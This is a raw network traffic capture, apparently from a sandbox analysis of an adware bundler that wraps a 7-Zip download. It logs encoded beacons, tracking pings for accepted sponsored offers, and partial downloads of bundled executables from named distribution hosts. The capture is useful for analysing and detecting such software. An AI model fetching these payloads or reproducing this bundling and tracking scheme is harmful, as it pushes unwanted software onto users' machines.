X-Amz-Cf-Id: RPPkfD8XpxStmMGZp0pdCGfyqaBGowjZ7OflBUeFKjrxHiPIbcD9_A==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:10 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: RPPkfD8XpxStmMGZp0pdCGfyq
aBGowjZ7OflBUeFKjrxHiPIbcD9_A==......

GET /p.ashx?e=hpY1rXLYst7pvV2oKfdHnAd6FyF1V4wa7OXLse4BafTbQC nVTu53h5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wuTqB8Jw3xHKPuMdH9xkPEEkuF2XgxcjeGW00vR0jOa4qEGVFBmbCNaC2D7gVLsXbVx0ChS3xYkKYX3Ti/i3YM8Lp0Bjzny5tnvt9BCIgQgmIUiuKCNOa29/FxaIQ7ErOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zb8mmTeOJI67buUgzFbYTjzaWIpEqmcyo6G50zk5zx4MGKbw8hQN3Qw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RbAO1Hu4YX_XlVLyvUceKqYiV4aj_683O4RlxWtvZswwaNWS_Wqcew==

....

GET /p.ashx?e=hpY1rXLYst7pvV2oKfdHnAd6FyF1V4wa7OXLse4BafTbQC nVTu53h5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wuTqB8Jw3xHKPuMdH9xkPEEkuF2XgxcjeGW00vR0jOa4qEGVFBmbCPaaY YTEt5Uib53oUw944LBPEhRyyBD7BDVXyMPX/0Ka1gY/yVvFd/xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kqVp5PArAlZvR9S8lKzHJkpFFPCv8icURtvQa21G2TwQybTTgOZZ1w==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:11 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: kqVp5PArAlZvR9S8lKzHJkpFF
PCv8icURtvQa21G2TwQybTTgOZZ1w==......

GET /p.ashx?e=/TVH52TeC6TMZ3T6XmWM0 WWoSvDtQRTjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KsSCFqUzxEuK5pBCt6gYiqpjm/qBucyp5gi1WX4W/gIs72zIVN1UN1yz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YM8Lp0Bjzny5jMJAB CbFgWNLVXkHqu5msQ8SvWqwsmfGywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS UVJBaVmDBy2wQweEsdq Xp/ZYbvQAvm qp9Xc7DttajYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvarEi4t8T1A64NwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccFzU3Kjr8dHG HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:18 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: THEc0QtArH0jMAIy6CmvYxLSHKrNjOqOOdXNqhUYHDPYOvWZZoFcKA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:53:18 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: THEc0QtArH0jMAIy6CmvYxLSH
KrNjOqOOdXNqhUYHDPYOvWZZoFcKA==..

GET / HTTP/1.1

Range: bytes=149328-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3df63e0f75-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=149328-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

Content-Length: 49776

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 149328-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55cd3e56410f75-FRA

......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=3&index_in_screen=1&index_in_session=3&0.10311881856587251 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.1.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:54:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:54:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1503

content-transfer-encoding: binary

Cache-Control: max-age=549531, public, no-transform, must-revalidate

Last-Modified: Wed, 7 Jan 2015 13:35:17 GMT

Expires: Wed, 14 Jan 2015 13:35:17 GMT

Date: Thu, 08 Jan 2015 04:56:42 GMT

Connection: keep-alive
0..........0..... .....0......0...0......&Km...."....}....,.c..2015010
7133517Z0s0q0I0... ........0..k....&..p..^.X.....{[E....z.1..j..F.WHP.
.G.Mxs..../.p./.^....20150107133517Z....20150114133517Z0...*.H........
......tk_.....=2.....0..h...^.7.Ks2O......GY.....-$0..<.Uk..%..?X..
.hA.O.....F.<..V...i.....PO..R7!c..R.G,.......j.O.......9`.e.....Aw
.f.B~.z.s.....[...F.g}k.X.=bi.C.`}.*.`..(.\..i...i..3.C.....|.hL2.....
z...n>Z......).... .....q?.b....3n.n.$....H....;..TDq........0...0.
..0............I...*....^n...0...*.H........0..1.0...U....US1.0...U...
.thawte, Inc.1(0&..U....Certification Services Division1806..U.../(c) 
2006 thawte, Inc. - For authorized use only1.0...U....thawte Primary R
oot CA0...141202000000Z..151216235959Z0_1.0...U....US1.0...U....thawte
, Inc.1907..U...0thawte Primary Root OCSP Responder Certificate 30.."0
...*.H.............0.........x...F83..,.D.,2D.;JGc.|_.k.....B.7.....G}
.M.s.....S.i.Uu.h.Aq..v...4:l..U.......T7l...~vl...r....{*..........V.
o..8|.B..^.a.. ...z....x..s...\[Y....<....'> ..YC..7.zVk.$...o3.
.kao]c...>C./bPX.......I..Oc.....NN......g.....,/..]......qN.....V!
<.3.)...y#.........i0g0...U.%..0... .......0... .....0......0...U..
.....0.0...U...........0!..U....0...0.1.0...U....TGV-B-2770...*.H.....
...........lt..\..z. ..N.f.!.S5d?J.&....r...D........L.`.s.p...HC.L.8f
... .........GA7......P..Z.%.../............z.n.6~I...].).....W...W\|.
uya..:...^...hW..7.Z.uc.'....:.xL...HS.....>.........5......%....3S
....h........U....o.C.\.t.....G.._.C0(l.E9..6UTxg.gF ..;...
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1396

content-transfer-encoding: binary

Cache-Control: max-age=489016, public, no-transform, must-revalidate

Last-Modified: Tue, 6 Jan 2015 20:44:35 GMT

Expires: Tue, 13 Jan 2015 20:44:35 GMT

Date: Thu, 08 Jan 2015 04:56:42 GMT

Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0...............w/.|`....a...2015010
6204435Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
...%..{.cj..}#.......20150106204435Z....20150113204435Z0...*.H........
.....V..S_..:[email protected].!...sw..4..8g..."o..H.......X.g.....u
.....M.....M......F./]....c:..'....u.;Z_....#..*..I.ii...Q....n...e...
..y..>..b.X...%...!..>......|B\..?.....]......[H.G...z.....j.%.?
`5T....?..l .^.dm./7n...[f..p3....r. .^%x*tD.f..Z..6.........0...0...0
[email protected]...*.H........0J1.0...U....US1.0...U....Tha
wte, Inc.1$0"..U....Thawte Code Signing CA - G20...141210000000Z..1503
10235959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code 
Signing CA - G2 OCSP Responder0.."0...*.H.............0..........P....
.].8?e...8.0.. ...-.uP.3....pQ......mi..wVt.......<....{d.?..9..z%.
?..}.N`.V.........I.X...E#...*.f...X.;...75......%...n.%..#..T.<...
..fEQ.\\.f.{M.H...M..u...9~..C....B.o..........dc...V..,.........{...j
.9.xw?D..ooNf&=......D|.R..../.....So....*-5.......d0b0...U....0.0...U
.%..0... .......0...U........0... .....0......0"..U....0...0.1.0...U..
..TGV-B-25170...*.H.....................2.).xO...].6..R.k...H =d...L..
.(o0#.......<O#.;[email protected]...^.q.Y...}....S(syt&...$..L..7<...nb|.
..]2c..q..Q.L.3,.............n>....tND..fJ.&. .....%7.....f.31.>
..d...ET.E.~.x...]N...*.......n......HI..*M..t.......:.=.:..(2M".S....
.&....................<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=1427328-

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 203904

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1427328-1631231/1631232

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 87683b2e94f5a08f552b261ed269c83b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nnZMr6z-UA4-jefXLIcLtWOG8kDJ8UWbBK66xIHamuvcXnxOnQYwZQ==
.t......d...........^[Y]............S...\0F.....m.....2o....LF..@|....
...3....."....d....t...d......R.../....t.....>....4....u...........
[[email protected]..\0F.....l..3.Uh.LD.d.0d. .E...4....t..E.
........3..E...'...E........t..E..........U...LF..GO...E...8.........E
[email protected]..\0F.....l....A...
...}..~..E..Q...YY]..U..QSVW.E..E.f.......tI3.Uh.MD.d.0d. .]..U.......
......3.ZYYd.....2....E.f....Z.....u..1.........E........t....E..B..._
^[Y].U..QSVW.E..E.f.......tA3.Uh.MD.d.0d. .]..U.............3.ZYYd....
......U...KF...q......._^[Y]...SVW........... .....t"..3... .....f....
......t.......!.._^[.SVWU..............p....,.r.tw..........}C........
t-.......u......A.. ............................G..........H....uz;~.u
u......C........td..........Y........t......}C..y.....t...........3;.H
...u.3........;.X...u.3........;.`...u.3...._.....P....t.......P......
S.]_^[...U..QSV...E..E..-...3.UhFQD.d.2d.".E.3...h....E.3...l....E.3..
.p...3...GF.4..U...4......E..R....E...\......\....E...p......L....E...
.....tC.E...\......LF.;B@t/.E...\...P..LF..@@P.E..ph.......P.|!.......
......LF..@@.U...\....E.........E...p...;..............E..a....E...p..
....E.......E........t#.E...p...PV.E...h...P..!...U...h....E........t#
.E...p...PV.E...l...P.. ...U...l....E....... tF.E...p...PV.E.......P..
 ...U........E...p...PV.E.......P.. ...U........E...h.....~....E...r..
.E...l.....~....E...r...E...TQD.........u$...........E..K.............
.E......j.3..=....E......3.ZYYd..hMQD..E..............^[Y].......S<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 178473

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 107085-285557/285558

Age: 3357

X-Cache: Hit from cloudfront

Via: 1.1 8a256bddd45845f932a0a374e95fa057.cloudfront.net (CloudFront)

X-Amz-Cf-Id: L-qlol32CW_RzdWWquFXPlw138vMgHmbiYtgI7DiAB-TaC6G61TMXg==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=832858-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 277618

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A<<< skipped >>>

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 05:00:23 GMT

Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT

Expires: Sun, 04 Jan 2015 05:10:23 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 85b7c880997b6b8bee9a45557704a3a0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2FC9E_Ro8rik4JCT3XIKjxceI--ZgpKNc6FfOy1_WdugjoinAWpt5w==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./[email protected]...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 05:01:58 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 04 Jan 2015 05:11:58 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 2dc430fff474a8f2dc029f6910b5eecc.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4-RY9CjFXtZWQ3ZXG9ePwEfjG7hAIbUdMytn4Q9yQFXdJqoVC7Lonw==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=priceless&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=1&index_in_screen=1&index_in_session=1&0.558918752626719 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.5.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:55:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sponsored/priceless/eula-priceless.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

